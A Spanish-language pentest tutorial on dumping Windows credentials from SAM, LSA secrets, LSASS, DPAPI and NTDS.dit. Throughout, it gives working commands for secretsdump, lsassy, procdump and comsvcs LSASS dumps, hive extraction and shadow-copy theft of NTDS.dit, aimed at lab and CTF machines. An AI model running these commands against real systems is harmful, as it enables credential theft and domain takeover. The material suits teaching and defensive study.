Volcado de credenciales en Windows: SAM, LSA, LSASS, DPAPI y NTDS.dit
Dónde guarda Windows las credenciales y cómo sacarlas: SAM y SYSTEM, secretos LSA, LSASS con lsassy o pypykatz, DPAPI y NTDS.dit con SeBackup.
En cuanto eres administrador (o SYSTEM) en una máquina Windows, lo siguiente es sacarle las credenciales: los hashes de sus cuentas locales, los de los usuarios del dominio que han iniciado sesión y las contraseñas que se guardaron. Con ellas te mueves a la siguiente máquina (movimiento lateral). Es la técnica de volcado de SAM/LSA/LSASS.
Dónde están las credenciales
| Lugar | Qué guarda | Qué necesitas |
|---|---|---|
SAM (+ SYSTEM) |
Hashes NT de las cuentas locales | Admin local |
LSA secrets (SECURITY) |
Contraseñas de servicios, la cuenta del equipo, autologon | Admin local |
Caché de dominio (SECURITY) |
Hashes DCC2 de los últimos usuarios del dominio (lentos de crackear) | Admin local |
| LSASS (memoria) | Hashes NT, tickets de Kerberos y a veces contraseñas de quien tiene sesión ahora | Admin local + SeDebugPrivilege |
| DPAPI | Credenciales guardadas, navegadores, Wi-Fi, RDP | La contraseña del usuario o la clave de copia del dominio |
| NTDS.dit (en el DC) | Todos los hashes del dominio | Admin del dominio, DCSync o SeBackupPrivilege en el DC |
1. SAM, SYSTEM y SECURITY
Desde tu equipo, si tienes credenciales de admin:
impacket-secretsdump corp.local/administrator:'Contraseña1'@10.10.10.10
nxc smb 10.10.10.10 -u administrator -H 8846f7... --sam --lsa
Desde una shell en la máquina, guarda las colmenas y llévatelas:
reg save HKLM\SAM C:\Windows\Temp\sam
reg save HKLM\SYSTEM C:\Windows\Temp\system
reg save HKLM\SECURITY C:\Windows\Temp\security
impacket-secretsdump -sam sam -system system -security security LOCAL
Truco
Con evil-winrm puedes bajar los ficheros con download sam. También sirven las copias de las colmenas que a veces aparecen en copias de seguridad o en C:\Windows\Repair\ (sistemas antiguos), como en Bastion, donde están dentro de un disco virtual en un recurso compartido.
2. LSASS
LSASS es el proceso que gestiona los inicios de sesión. Su memoria contiene las credenciales de quien está conectado en este momento: si un administrador del dominio ha iniciado sesión, su hash está ahí.
Desde tu equipo, sin subir nada:
lsassy -u administrator -H 8846f7... 10.10.10.10
nxc smb 10.10.10.10 -u administrator -H 8846f7... -M lsassy
nxc smb 10.10.10.10 -u administrator -H 8846f7... -M nanodump
Desde la máquina, haciendo un volcado de memoria y analizándolo en tu equipo:
# Con una herramienta de Microsoft firmada
.\procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\l.dmp
# O con una DLL del propio sistema
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID_de_lsass> C:\Windows\Temp\l.dmp full
pypykatz lsa minidump l.dmp
Cuidado
Abrir LSASS es lo más vigilado por cualquier antivirus o EDR: casi todas estas variantes se detectan hoy. En un CTF suele dar igual; en un ejercicio real, mira primero qué protege la máquina (guía de cómo detectan los EDR). Si LSASS es un proceso protegido (PPL) o hay Credential Guard, no obtendrás los hashes de esta forma.
3. DPAPI y credenciales guardadas
Windows cifra con DPAPI las contraseñas que los usuarios "recuerdan": el Administrador de credenciales, Chrome y Edge, Wi-Fi, conexiones RDP guardadas (credenciales guardadas / DPAPI).
cmdkey /list # credenciales guardadas (runas /savecred las usa)
dir C:\Users\*\AppData\Roaming\Microsoft\Credentials\ -Force
dir C:\Users\*\AppData\Roaming\Microsoft\Protect\ -Force # las master keys
# Desde tu equipo, como admin: todo lo que se pueda descifrar
nxc smb 10.10.10.10 -u administrator -H 8846f7... --dpapi
# A mano con Impacket, con la contraseña del usuario
impacket-dpapi masterkey -file <masterkey> -sid S-1-5-21-...-1103 -password 'Contraseña1'
impacket-dpapi credential -file <credencial> -key 0x<clave_descifrada>
Si cmdkey /list muestra una credencial del administrador, puedes usarla sin descifrarla: runas /savecred /user:CORP\Administrator "cmd /c ...". Es la escalada de Access.
Otros sitios con contraseñas en claro que conviene revisar (credenciales en el registro y el historial):
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "DefaultPassword DefaultUserName"
dir C:\ -Recurse -Include *.config,*.xml,*.ini,unattend*.xml -ErrorAction SilentlyContinue | Select-String -Pattern password
4. NTDS.dit
En un controlador de dominio, C:\Windows\NTDS\ntds.dit tiene los hashes de todo el dominio. Si eres admin del dominio o tienes DCSync, lo más cómodo es pedírselos al DC (DCSync):
impacket-secretsdump corp.local/[email protected] -hashes :8846f7... -just-dc-ntlm
Si solo tienes SeBackupPrivilege (por estar en Backup Operators, SeBackup), puedes copiarlo aunque esté en uso, a través de una shadow copy:
# script.txt (con saltos de línea de Windows, CRLF)
# set context persistent nowriters
# add volume c: alias x
# create
# expose %x% z:
diskshadow /s script.txt
robocopy /b z:\Windows\NTDS C:\Windows\Temp\ ntds.dit
reg save HKLM\SYSTEM C:\Windows\Temp\system
impacket-secretsdump -ntds ntds.dit -system system LOCAL
Es el final de Blackfield. En Cicada basta con copiar el SAM y el SYSTEM con el mismo privilegio.
Errores típicos
secretsdumpdarpc_s_access_denied: no eres administrador en esa máquina (o el UAC remoto filtra tu cuenta local; usa la RID 500).- pypykatz no encuentra nada en el volcado: el volcado está incompleto o es de otra arquitectura. Con
comsvcs.dll, ejecútalo desde una shell conSeDebugPrivilegeactivo (PowerShell como SYSTEM). diskshadowfalla con un error de sintaxis: el script tiene saltos de línea de Linux. Conviértelo conunix2dosantes de subirlo.
Y después
Con los hashes nuevos, vuelve a probar dónde valen (movimiento lateral) y crackea los que te interesen (cracking de hashes): los DCC2 (-m 2100) y NetNTLMv2 no sirven para pass-the-hash, pero sus contraseñas sí.